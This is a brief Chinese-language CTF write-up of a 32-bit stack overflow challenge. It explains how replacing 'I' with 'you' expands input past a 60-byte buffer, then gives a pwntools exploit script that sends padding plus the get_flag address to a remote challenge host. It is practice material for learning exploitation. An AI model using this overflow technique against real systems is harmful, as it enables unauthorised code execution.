附件是个32位的程序,ida查看
字符串里看到
记住地址,
然后看主函数,
fgets
从 edate 中 最多读取 32位 字符存放到 s 中
s大小位0x3c,也就是60,所以栈溢出远远不够
15,17行
从v4到v5首地址的范围内,输入you,就是v4=you
从v6到v7首地址的范围内,输入I, v6=I
replace
就是把I 和 you 替换,v4,v6替换
脚本
s有60个,也就是20个"I",32位exp是4个字节,加上输入点地址(get_flag)资格字节
from pwn import*
r = remote(“node3.buuoj.cn”,26777)
flag_addr = 0x8048F0D
payload = “I”*20+‘aaaa’+p32(flag_addr)
r.sendline(payload)
r.interactive()